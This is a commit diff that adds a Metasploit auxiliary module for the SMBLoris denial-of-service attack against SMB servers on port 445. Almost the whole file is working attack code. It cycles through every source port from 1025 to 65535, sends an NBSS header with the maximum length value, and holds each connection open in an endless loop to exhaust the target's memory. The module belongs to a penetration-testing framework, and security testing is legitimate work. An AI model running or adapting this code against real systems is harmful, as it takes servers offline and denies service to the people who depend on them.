|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'bindata' |
| 7 | +require 'ruby_smb' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Auxiliary |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Msf::Auxiliary::Dos |
| 12 | + |
| 13 | + class NbssHeader < BinData::Record |
| 14 | + endian :little |
| 15 | + uint8 :message_type |
| 16 | + bit7 :flags |
| 17 | + bit17 :message_length |
| 18 | + end |
| 19 | + |
| 20 | + def initialize(info = {}) |
| 21 | + super(update_info(info, |
| 22 | + 'Name' => 'SMBLoris NBSS Denial of Service', |
| 23 | + 'Description' => %q{ |
| 24 | + The SMBLoris attack consumes large chunks of memory in the target by sending |
| 25 | + SMB requests with the NetBios Session Service(NBSS) Length Header value set |
| 26 | + to the maximum possible value. By keeping these connections open and initiating |
| 27 | + large numbers of these sessions, the memory does not get freed, and the server |
| 28 | + grinds to a halt. This vulnerability was originally disclosed by Sean Dillon |
| 29 | + and Zach Harding. |
| 30 | +
|
| 31 | + DISCALIMER: This module opens a lot of simultaneous connections. Please check |
| 32 | + your system's ULIMIT to make sure it can handle it. This module will also run |
| 33 | + continuously until stopped. |
| 34 | + }, |
| 35 | + 'Author' => |
| 36 | + [ |
| 37 | + 'thelightcosine' |
| 38 | + ], |
| 39 | + 'License' => MSF_LICENSE, |
| 40 | + 'References' => |
| 41 | + [ |
| 42 | + [ 'URL', 'http://smbloris.com/' ] |
| 43 | + ], |
| 44 | + 'DisclosureDate' => 'Jul 29 2017' |
| 45 | + )) |
| 46 | + |
| 47 | + register_options( |
| 48 | + [ |
| 49 | + Opt::RPORT(445) |
| 50 | + ]) |
| 51 | + end |
| 52 | + |
| 53 | + def run |
| 54 | + header = NbssHeader.new |
| 55 | + header.message_length = 0x01FFFF |
| 56 | + |
| 57 | + linger = Socket::Option.linger(true, 60) |
| 58 | + |
| 59 | + while true do |
| 60 | + sockets = {} |
| 61 | + (1025..65535).each do |src_port| |
| 62 | + print_status "Sending packet from Source Port: #{src_port}" |
| 63 | + opts = { |
| 64 | + 'CPORT' => src_port, |
| 65 | + 'ConnectTimeout' => 360 |
| 66 | + } |
| 67 | + |
| 68 | + if sockets[src_port] |
| 69 | + disconnect(sockets[src_port]) |
| 70 | + end |
| 71 | + |
| 72 | + begin |
| 73 | + nsock = connect(false, opts) |
| 74 | + nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) |
| 75 | + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) |
| 76 | + nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) |
| 77 | + nsock.setsockopt(linger) |
| 78 | + nsock.write(header.to_binary_s) |
| 79 | + sockets[src_port] = nsock |
| 80 | + rescue ::Exception => e |
| 81 | + print_error "Exception sending packet: #{e.message}" |
| 82 | + end |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + |
| 87 | + end |
| 88 | + |
| 89 | +end |
0 commit comments